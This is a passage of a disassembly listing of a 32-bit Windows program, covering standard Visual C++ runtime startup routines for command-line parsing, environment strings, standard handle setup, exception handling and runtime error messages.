lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41F004
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_417889
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41EFD7
push 8
call sub_4199DA
pop ecx
loc_41EFD7: ; CODE XREF: sub_41EF6B+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41F004
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4894CC, esi
pop edi
pop esi
mov dword_4894C8, eax
pop ebx
leave
retn
sub_41EF6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F004 proc near ; CODE XREF: sub_41EF6B+47p
; sub_41EF6B+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41F02E
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41F02E: ; CODE XREF: sub_41F004+20j
cmp byte ptr [eax], 22h
jnz short loc_41F077
loc_41F033: ; CODE XREF: sub_41F004+58j
; sub_41F004+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41F065
test dl, dl
jz short loc_41F065
movzx edx, dl
test byte_48AA01[edx], 4
jz short loc_41F058
inc dword ptr [ecx]
test esi, esi
jz short loc_41F058
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41F058: ; CODE XREF: sub_41F004+46j
; sub_41F004+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41F033
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41F033
; ---------------------------------------------------------------------------
loc_41F065: ; CODE XREF: sub_41F004+36j
; sub_41F004+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41F06F
and byte ptr [esi], 0
inc esi
loc_41F06F: ; CODE XREF: sub_41F004+65j
cmp byte ptr [eax], 22h
jnz short loc_41F0BA
inc eax
jmp short loc_41F0BA
; ---------------------------------------------------------------------------
loc_41F077: ; CODE XREF: sub_41F004+2Dj
; sub_41F004+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41F082
mov dl, [eax]
mov [esi], dl
inc esi
loc_41F082: ; CODE XREF: sub_41F004+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_48AA01[ebx], 4
jz short loc_41F09D
inc dword ptr [ecx]
test esi, esi
jz short loc_41F09C
mov bl, [eax]
mov [esi], bl
inc esi
loc_41F09C: ; CODE XREF: sub_41F004+91j
inc eax
loc_41F09D: ; CODE XREF: sub_41F004+8Bj
cmp dl, 20h
jz short loc_41F0AB
test dl, dl
jz short loc_41F0AF
cmp dl, 9
jnz short loc_41F077
loc_41F0AB: ; CODE XREF: sub_41F004+9Cj
test dl, dl
jnz short loc_41F0B2
loc_41F0AF: ; CODE XREF: sub_41F004+A0j
dec eax
jmp short loc_41F0BA
; ---------------------------------------------------------------------------
loc_41F0B2: ; CODE XREF: sub_41F004+A9j
test esi, esi
jz short loc_41F0BA
and byte ptr [esi-1], 0
loc_41F0BA: ; CODE XREF: sub_41F004+6Ej
; sub_41F004+71j ...
and [ebp+arg_10], 0
loc_41F0BE: ; CODE XREF: sub_41F004+19Ej
cmp byte ptr [eax], 0
jz loc_41F1A7
loc_41F0C7: ; CODE XREF: sub_41F004+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41F0D3
cmp dl, 9
jnz short loc_41F0D6
loc_41F0D3: ; CODE XREF: sub_41F004+C8j
inc eax
jmp short loc_41F0C7
; ---------------------------------------------------------------------------
loc_41F0D6: ; CODE XREF: sub_41F004+CDj
cmp byte ptr [eax], 0
jz loc_41F1A7
test edi, edi
jz short loc_41F0EB
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41F0EB: ; CODE XREF: sub_41F004+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41F0F0: ; CODE XREF: sub_41F004+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41F0F9: ; CODE XREF: sub_41F004+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41F102
inc eax
inc ebx
jmp short loc_41F0F9
; ---------------------------------------------------------------------------
loc_41F102: ; CODE XREF: sub_41F004+F8j
cmp byte ptr [eax], 22h
jnz short loc_41F133
test bl, 1
jnz short loc_41F131
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41F120
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41F120
mov eax, edx
jmp short loc_41F123
; ---------------------------------------------------------------------------
loc_41F120: ; CODE XREF: sub_41F004+10Dj
; sub_41F004+116j
mov [ebp+arg_0], edi
loc_41F123: ; CODE XREF: sub_41F004+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41F131: ; CODE XREF: sub_41F004+106j
shr ebx, 1
loc_41F133: ; CODE XREF: sub_41F004+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41F148
inc ebx
loc_41F13B: ; CODE XREF: sub_41F004+142j
test esi, esi
jz short loc_41F143
mov byte ptr [esi], 5Ch
inc esi
loc_41F143: ; CODE XREF: sub_41F004+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41F13B
loc_41F148: ; CODE XREF: sub_41F004+134j
mov dl, [eax]
test dl, dl
jz short loc_41F198
cmp [ebp+arg_10], 0
jnz short loc_41F15E
cmp dl, 20h
jz short loc_41F198
cmp dl, 9
jz short loc_41F198
loc_41F15E: ; CODE XREF: sub_41F004+14Ej
cmp [ebp+arg_0], 0
jz short loc_41F192
test esi, esi
jz short loc_41F181
movzx ebx, dl
test byte_48AA01[ebx], 4
jz short loc_41F17A
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41F17A: ; CODE XREF: sub_41F004+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41F190
; ---------------------------------------------------------------------------
loc_41F181: ; CODE XREF: sub_41F004+162j
movzx edx, dl
test byte_48AA01[edx], 4
jz short loc_41F190
inc eax
inc dword ptr [ecx]
loc_41F190: ; CODE XREF: sub_41F004+17Bj
; sub_41F004+187j
inc dword ptr [ecx]
loc_41F192: ; CODE XREF: sub_41F004+15Ej
inc eax
jmp loc_41F0F0
; ---------------------------------------------------------------------------
loc_41F198: ; CODE XREF: sub_41F004+148j
; sub_41F004+153j ...
test esi, esi
jz short loc_41F1A0
and byte ptr [esi], 0
inc esi
loc_41F1A0: ; CODE XREF: sub_41F004+196j
inc dword ptr [ecx]
jmp loc_41F0BE
; ---------------------------------------------------------------------------
loc_41F1A7: ; CODE XREF: sub_41F004+BDj
; sub_41F004+D5j
test edi, edi
jz short loc_41F1AE
and dword ptr [edi], 0
loc_41F1AE: ; CODE XREF: sub_41F004+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41F004 endp
; =============== S U B R O U T I N E =======================================
sub_41F1B8 proc near ; CODE XREF: sub_4198E4+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_489668
push ebx
push ebp
mov ebp, dword_42303C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41F206
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41F1E7
mov dword_489668, 1
jmp short loc_41F20F
; ---------------------------------------------------------------------------
loc_41F1E7: ; CODE XREF: sub_41F1B8+21j
call dword_423040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_41F2E1
mov dword_489668, 2
jmp loc_41F295
; ---------------------------------------------------------------------------
loc_41F206: ; CODE XREF: sub_41F1B8+19j
cmp eax, 1
jnz loc_41F290
loc_41F20F: ; CODE XREF: sub_41F1B8+2Dj
cmp esi, ebx
jnz short loc_41F21F
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_41F2E1
loc_41F21F: ; CODE XREF: sub_41F1B8+59j
cmp [esi], bx
mov eax, esi
jz short loc_41F234
loc_41F226: ; CODE XREF: sub_41F1B8+73j
; sub_41F1B8+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41F226
inc eax
inc eax
cmp [eax], bx
jnz short loc_41F226
loc_41F234: ; CODE XREF: sub_41F1B8+6Cj
sub eax, esi
mov edi, dword_423150
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41F285
push ebp
call sub_417889
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41F285
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41F281
push [esp+18h+var_8]
call sub_41793B
pop ecx
mov [esp+18h+var_8], ebx
loc_41F281: ; CODE XREF: sub_41F1B8+B9j
mov ebx, [esp+18h+var_8]
loc_41F285: ; CODE XREF: sub_41F1B8+99j
; sub_41F1B8+A8j
push esi
call dword_423044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41F2E3
; ---------------------------------------------------------------------------
loc_41F290: ; CODE XREF: sub_41F1B8+51j
cmp eax, 2
jnz short loc_41F2E1
loc_41F295: ; CODE XREF: sub_41F1B8+49j
cmp edi, ebx
jnz short loc_41F2A5
call dword_423040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_41F2E1
loc_41F2A5: ; CODE XREF: sub_41F1B8+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41F2B5
loc_41F2AB: ; CODE XREF: sub_41F1B8+F6j
; sub_41F1B8+FBj
inc eax
cmp [eax], bl
jnz short loc_41F2AB
inc eax
cmp [eax], bl
jnz short loc_41F2AB
loc_41F2B5: ; CODE XREF: sub_41F1B8+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_417889
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41F2CB
xor esi, esi
jmp short loc_41F2D6
; ---------------------------------------------------------------------------
loc_41F2CB: ; CODE XREF: sub_41F1B8+10Dj
push ebp
push edi
push esi
call sub_417090
add esp, 0Ch
loc_41F2D6: ; CODE XREF: sub_41F1B8+111j
push edi
call dword_423048 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_41F2E3
; ---------------------------------------------------------------------------
loc_41F2E1: ; CODE XREF: sub_41F1B8+39j
; sub_41F1B8+61j ...
xor eax, eax
loc_41F2E3: ; CODE XREF: sub_41F1B8+D6j
; sub_41F1B8+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41F1B8 endp
; =============== S U B R O U T I N E =======================================
sub_41F2EA proc near ; CODE XREF: sub_4198E4+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_417889
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41F30A
push 1Bh
call sub_4199DA
pop ecx
loc_41F30A: ; CODE XREF: sub_41F2EA+16j
mov dword_48A7E0, esi
mov dword_48A8E0, 20h
lea eax, [esi+100h]
loc_41F320: ; CODE XREF: sub_41F2EA+52j
cmp esi, eax
jnb short loc_41F33E
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_48A7E0
add esi, 8
add eax, 100h
jmp short loc_41F320
; ---------------------------------------------------------------------------
loc_41F33E: ; CODE XREF: sub_41F2EA+38j
lea eax, [esp+54h+var_44]
push eax
call dword_423198 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_41F41A
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_41F41A
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41F374
mov esi, eax
loc_41F374: ; CODE XREF: sub_41F2EA+86j
cmp dword_48A8E0, esi
jge short loc_41F3CE
mov edi, offset dword_48A7E4
loc_41F381: ; CODE XREF: sub_41F2EA+DAj
push 100h
call sub_417889
test eax, eax
pop ecx
jz short loc_41F3C8
add dword_48A8E0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41F39F: ; CODE XREF: sub_41F2EA+CFj
cmp eax, ecx
jnb short loc_41F3BB
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41F39F
; ---------------------------------------------------------------------------
loc_41F3BB: ; CODE XREF: sub_41F2EA+B7j
add edi, 4
cmp dword_48A8E0, esi
jl short loc_41F381
jmp short loc_41F3CE
; ---------------------------------------------------------------------------
loc_41F3C8: ; CODE XREF: sub_41F2EA+A4j
mov esi, dword_48A8E0
loc_41F3CE: ; CODE XREF: sub_41F2EA+90j
; sub_41F2EA+DCj
xor edi, edi
test esi, esi
jle short loc_41F41A
loc_41F3D4: ; CODE XREF: sub_41F2EA+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41F411
mov cl, [ebp+0]
test cl, 1
jz short loc_41F411
test cl, 8
jnz short loc_41F3F3
push eax
call dword_423030 ; GetFileType
test eax, eax
jz short loc_41F411
loc_41F3F3: ; CODE XREF: sub_41F2EA+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_48A7E0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41F411: ; CODE XREF: sub_41F2EA+EFj
; sub_41F2EA+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41F3D4
loc_41F41A: ; CODE XREF: sub_41F2EA+65j
; sub_41F2EA+71j ...
xor ebx, ebx
loc_41F41C: ; CODE XREF: sub_41F2EA+195j
mov eax, dword_48A7E0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41F477
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41F437
push 0FFFFFFF6h
pop eax
jmp short loc_41F441
; ---------------------------------------------------------------------------
loc_41F437: ; CODE XREF: sub_41F2EA+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41F441: ; CODE XREF: sub_41F2EA+14Bj
push eax
call dword_423034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41F466
push edi
call dword_423030 ; GetFileType
test eax, eax
jz short loc_41F466
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41F46C
loc_41F466: ; CODE XREF: sub_41F2EA+163j
; sub_41F2EA+16Ej
or byte ptr [esi+4], 40h
jmp short loc_41F47B
; ---------------------------------------------------------------------------
loc_41F46C: ; CODE XREF: sub_41F2EA+17Aj
cmp eax, 3
jnz short loc_41F47B
or byte ptr [esi+4], 8
jmp short loc_41F47B
; ---------------------------------------------------------------------------
loc_41F477: ; CODE XREF: sub_41F2EA+13Ej
or byte ptr [esi+4], 80h
loc_41F47B: ; CODE XREF: sub_41F2EA+180j
; sub_41F2EA+185j ...
inc ebx
cmp ebx, 3
jl short loc_41F41C
push dword_48A8E0
call dword_423038 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_41F2EA endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4A0 proc near ; DATA XREF: sub_4198E4+Ao
; sub_41CCF1+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41F540
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41F4D3: ; CODE XREF: sub_41F4A0+90j
cmp esi, 0FFFFFFFFh
jz short loc_41F539
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41F527
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41F527
js short loc_41F532
mov edi, [ebx+8]
push ebx
call sub_417EA0
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_417EE2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_417F76
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41F527: ; CODE XREF: sub_41F4A0+40j
; sub_41F4A0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41F4D3
; ---------------------------------------------------------------------------
loc_41F532: ; CODE XREF: sub_41F4A0+54j
mov eax, 0
jmp short loc_41F555
; ---------------------------------------------------------------------------
loc_41F539: ; CODE XREF: sub_41F4A0+36j
mov eax, 1
jmp short loc_41F555
; ---------------------------------------------------------------------------
loc_41F540: ; CODE XREF: sub_41F4A0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_417EE2
add esp, 8
pop ebp
mov eax, 1
loc_41F555: ; CODE XREF: sub_41F4A0+97j
; sub_41F4A0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F4A0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_417EE2
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41F578 proc near ; CODE XREF: sub_4199DA+9p
; sub_4199FF+9p
mov eax, dword_489500
cmp eax, 1
jz short loc_41F58F
test eax, eax
jnz short locret_41F5B0
cmp dword_438A74, 1
jnz short locret_41F5B0
loc_41F58F: ; CODE XREF: sub_41F578+8j
push 0FCh
call sub_41F5B1
mov eax, dword_48966C
pop ecx
test eax, eax
jz short loc_41F5A5
call eax
loc_41F5A5: ; CODE XREF: sub_41F578+29j
push 0FFh
call sub_41F5B1
pop ecx
locret_41F5B0: ; CODE XREF: sub_41F578+Cj
; sub_41F578+15j
retn
sub_41F578 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F5B1 proc near ; CODE XREF: sub_4199DA+12p
; sub_4199FF+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43B108
loc_41F5C4: ; CODE XREF: sub_41F5B1+20j
cmp edx, [eax]
jz short loc_41F5D3
add eax, 8
inc ecx
cmp eax, offset off_43B198
jl short loc_41F5C4
loc_41F5D3: ; CODE XREF: sub_41F5B1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43B108[esi]
jnz loc_41F701
mov eax, dword_489500
cmp eax, 1
jz loc_41F6DB
test eax, eax
jnz short loc_41F604
cmp dword_438A74, 1
jz loc_41F6DB
loc_41F604: ; CODE XREF: sub_41F5B1+44j
cmp edx, 0FCh
jz loc_41F701
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_423094 ; GetModuleFileNameA
test eax, eax
jnz short loc_41F63B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_4176C0
pop ecx
pop ecx
loc_41F63B: ; CODE XREF: sub_41F5B1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_4177B0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41F67E
lea eax, [ebp+var_1A4]
push eax
call sub_4177B0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_418910
add esp, 10h
loc_41F67E: ; CODE XREF: sub_41F5B1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_4176C0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_4176D0
lea eax, [ebp+var_A0]
push offset asc_423BA0 ; "\n\n"
push eax
call sub_4176D0
push off_43B10C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_4176D0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_420D8F
add esp, 2Ch
pop edi
jmp short loc_41F701
; ---------------------------------------------------------------------------
loc_41F6DB: ; CODE XREF: sub_41F5B1+3Cj
; sub_41F5B1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43B10C[esi]
push 0
push eax
push dword ptr [esi]
call sub_4177B0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_423034 ; GetStdHandle
push eax
call dword_42307C ; WriteFile
loc_41F701: ; CODE XREF: sub_41F5B1+2Ej
; sub_41F5B1+59j ...
pop esi
leave
retn
sub_41F5B1 endp
; =============== S U B R O U T I N E =======================================
sub_41F704 proc near ; CODE XREF: sub_419A23+6Cp
; sub_41DF48+32p ...
arg_0 = dword ptr 4
inc dword_489670
push 1000h
call sub_417889
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41F72D
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41F73E
; ---------------------------------------------------------------------------
loc_41F72D: ; CODE XREF: sub_41F704+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41F73E: ; CODE XREF: sub_41F704+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41F704 endp
; =============== S U B R O U T I N E =======================================
sub_41F748 proc near ; CODE XREF: sub_419A23+61p
; sub_41A5A2+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_48A8E0
jb short loc_41F757
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F748+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_48A7E0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41F748 endp
; =============== S U B R O U T I N E =======================================
sub_41F76E proc near ; DATA XREF: .data:00425020o
mov eax, dword_48A7C0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41F782
mov eax, 200h
jmp short loc_41F788
; ---------------------------------------------------------------------------
loc_41F782: ; CODE XREF: sub_41F76E+Bj
cmp eax, esi
jge short loc_41F78D
mov eax, esi
loc_41F788: ; CODE XREF: sub_41F76E+12j
mov dword_48A7C0, eax
loc_41F78D: ; CODE XREF: sub_41F76E+16j
push 4
push eax
call sub_420E18
pop ecx
mov dword_4897A8, eax
test eax, eax
pop ecx
jnz short loc_41F7C1
push 4
push esi
mov dword_48A7C0, esi
call sub_420E18
pop ecx
mov dword_4897A8, eax
test eax, eax
pop ecx
jnz short loc_41F7C1
push 1Ah
call sub_4199DA
pop ecx
loc_41F7C1: ; CODE XREF: sub_41F76E+30j
; sub_41F76E+49j
xor ecx, ecx
mov eax, offset off_43B198
loc_41F7C8: ; CODE XREF: sub_41F76E+6Ej
mov edx, dword_4897A8
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43B418
jl short loc_41F7C8
xor edx, edx
mov ecx, offset dword_43B1A8
loc_41F7E5: ; CODE XREF: sub_41F76E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_48A7E0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41F802
test eax, eax
jnz short loc_41F805
loc_41F802: ; CODE XREF: sub_41F76E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41F805: ; CODE XREF: sub_41F76E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43B208
jl short loc_41F7E5
pop esi
retn
sub_41F76E endp
; =============== S U B R O U T I N E =======================================
sub_41F813 proc near ; DATA XREF: .data:00425030o
; FUNCTION CHUNK AT 00420EC9 SIZE 00000058 BYTES
call sub_41A52C
cmp byte_4894EC, 0
jz short locret_41F826
jmp loc_420EC9
; ---------------------------------------------------------------------------
locret_41F826: ; CODE XREF: sub_41F813+Cj
retn
sub_41F813 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F827 proc near ; CODE XREF: sub_419B38+2D4p
; sub_419B38+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41F833
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F827+8j
cmp dword_489540, 0
jnz short loc_41F84E
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41F880
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F84E: ; CODE XREF: sub_41F827+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_438C8C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_489550
call dword_423150 ; WideCharToMultiByte
test eax, eax
jz short loc_41F880
cmp [ebp+arg_0], 0
jz short loc_41F88D
loc_41F880: ; CODE XREF: sub_41F827+1Ej
; sub_41F827+51j
mov dword_4894AC, 2Ah
or eax, 0FFFFFFFFh
loc_41F88D: ; CODE XREF: sub_41F827+57j
pop ebp
retn
sub_41F827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F88F proc near ; CODE XREF: sub_41A342+5Ep
; sub_41E897+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423BE0
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_489674
xor ebx, ebx
cmp eax, ebx
jnz short loc_41F8FE
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4238D0
push esi
call dword_423028 ; GetStringTypeW
test eax, eax
jz short loc_41F8DC
mov eax, esi
jmp short loc_41F8F9
; ---------------------------------------------------------------------------
loc_41F8DC: ; CODE XREF: sub_41F88F+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_43BCF8
push esi
push ebx
call dword_42302C ; GetStringTypeA
test eax, eax
jz loc_41F9C4
push 2
pop eax
loc_41F8F9: ; CODE XREF: sub_41F88F+4Bj
mov dword_489674, eax
loc_41F8FE: ; CODE XREF: sub_41F88F+2Fj
cmp eax, 2
jnz short loc_41F927
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41F90F
mov eax, dword_489540
loc_41F90F: ; CODE XREF: sub_41F88F+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_42302C ; GetStringTypeA
jmp loc_41F9C6
; ---------------------------------------------------------------------------
loc_41F927: ; CODE XREF: sub_41F88F+72j
cmp eax, 1
jnz loc_41F9C4
cmp [ebp+arg_10], ebx
jnz short loc_41F93D
mov eax, dword_489550
mov [ebp+arg_10], eax
loc_41F93D: ; CODE XREF: sub_41F88F+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_423070 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41F9C4
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_417030
add esp, 0Ch
jmp short loc_41F993
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41F993: ; CODE XREF: sub_41F88F+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41F9C4
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
